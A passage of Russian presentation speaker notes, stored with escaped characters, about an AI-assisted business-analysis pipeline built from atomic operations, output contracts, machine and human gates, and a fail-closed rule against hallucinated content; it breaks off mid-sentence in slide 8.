**\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 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\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 